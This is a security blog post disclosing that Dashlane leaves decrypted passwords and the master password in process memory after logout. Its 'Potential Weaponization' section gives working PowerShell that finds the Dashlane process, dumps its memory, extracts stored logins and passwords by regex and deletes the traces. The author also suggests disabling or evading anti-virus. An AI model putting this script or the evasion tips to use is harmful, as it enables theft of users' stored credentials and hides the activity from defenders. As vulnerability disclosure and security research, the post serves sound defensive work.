Password Manager Vulnerability – Dashlane

This post discusses a flaw in the Dashlane password manager. In short, once logged into Dashlane, all of your stored passwords are decrypted and loaded into memory. Even when you log out of Dashlane, your decrypted passwords remain in memory, including the Dashlane master password. If an attacker, privileged or unprivileged, gains access to a machine running Dashlane, they are able to dump memory of the Dashlane process or Dashlane plugin process and gain access all of the stored passwords, as long as the user has logged into Dashlane at some point since the last reboot.

Discovery

As a penetration tester, I am always looking for new ways to gather credentials from a compromised host. I’ve previously discussed a method of stealing passwords from password managers via browser automation (here), but I started getting curious about memory extraction so I decided to take a look. I installed the latest version of Dashlane (6.0.0), created an account, added credentials for a site, and fired up ProcessHacker.

To view the strings from process memory, right-click the process name (Dashlane.exe or DashlanePlugin.exe) and select properties. Select the Memory tab, and click Strings. Set the minimum string length (I change to 8), and select OK (the default Detect Unicode and Searching private memory regions are fine). When the results return, I copy the strings to a file and searched for the password I added as well as my master password, which were both present as strings in memory.

This didn’t make me feel very good about Dashlane. A password manager should decrypt credentials when needed, but otherwise they should be encrypted. Regardless, Dashlane mentions in their security whitepaper (here) that once a user logs into Dashlane, the data is decrypted in memory.

So I decided to log out of Dashlane and once again check for credentials in memory. Using ProcessHacker, I performed the same tasks and had the same results. Even after logging out of Dashlane, the passwords still appeared in the Dashlane and Dashlane Plugin process memory. See video for walkthrough:

Potential Weaponization

To effectively weaponize this flaw, we would need to be able to detect the Dashlane process, dump process memory, search through the dump, extracting strings and potential passwords, and perform any necessary cleanup. This can all be performed using PowerShell, thanks to the flexibility of PowerShell and the excellent work by Matt Graeber.

Detection:


# Check for the Dashlane processes
If ((Get-Process Dashlane -ErrorAction SilentlyContinue) -ne $Null) {
    $Process = Get-Process Dashlane
}
ElseIf ((Get-Process DashlanePlugin -ErrorAction SilentlyContinue) -ne $Null){
    $Process = Get-Process DashlanePlugin
}
Else {
    Throw "Dashlane not detected"
}

I use the Get-Process cmdlet, specifically looking for either Dashlane or DashlanePlugin. If neither is present, I throw an error to terminate the script.

Dump process memory:


# Dump the process memory and save to a file
$DumpFileName = "$($Process.Name)_$($Process.Id).dmp"
$Process | Out-Minidump

I use the Out-Minidump function to dump the process memory. Out-Minidump uses Windows Error Reporting to create a memory dump of the process memory. Note: This function may get detected by Anti-Virus, so you may want to disable AV if you are attempting this. You can also bypass the AV detection by deleting the comments, changing the function name, or changing the way the function is written.

Out-Minidump will write a file to the current directory in the format of $ProcessName_$ProcessId.dmp by default (I’m just recreating the file name so I can use it later), so the next step is extracting strings from the file. For that I will use the Get-Strings function.

Dump strings:


# Search the dump for strings and save to a file
$StringFileName = "$($DumpFileName)_strings.txt"
Get-Strings -Path $DumpFileName -MinimumLength 8 | Out-File -FilePath $StringFileName

I am writing the output of Get-Strings to a file, as I will run multiple regular expressions against it. Note: The Get-Strings function run against a dump file takes a very long time to complete. After it completes, I can read the file and search for a few patterns. Note: There are more patterns to search…these were just some of the easier ones for me to identify.

Search the strings:


# Search the strings file for sensitive data
$RegularExpressions =@(
                       'key="TrustedUrl"><!\[CDATA\[(.*?)\]',
                       'key="Login"><!\[CDATA\[(.*?)\]',
                       'key="Password"><!\[CDATA\[(.*?)\]'    
                       ) 
$SensitiveMatches = @()
foreach ($Regex in $RegularExpressions) {
    Select-String $Regex -InputObject (Get-Content $StringFileName) -AllMatches | 
    Foreach { $SensitiveMatches += $_.matches.Value }
}
$SensitiveMatches = $SensitiveMatches | select -Unique
foreach ($Item in $SensitiveMatches) {
    $Item.split('[')[-1].split(']')[0]
}

Clean up:


# Delete generated files
Remove-Item -Path $DumpFileName
Remove-Item -Path $StringFileName

Reporting

Dashlane has a bug bounty program through HackerOne, although this particular bug did not qualify according to their rules, as exploitation required the system to be compromised already. I decided to report this bug anyway and they responded that they were already aware of the issue. Usually I wouldn’t publicly disclose a vulnerability prior to a fix being implemented, however this wasn’t a particularly difficult bug to discover, so imagine it is not exactly a secret. Still, I imagine that the average user expects that when they log out of a password manager application their passwords will be safe, which isn’t the case here. If you use Dashlane, at least you know a risk associated with it, and you can make a more informed choice of whether to use or not use it (reboot and then not log in, or just kill the processes).

I’ve uploaded a PoC script to my GitHub for reference.

One comment

Leave a Reply

Your email address will not be published. Required fields are marked *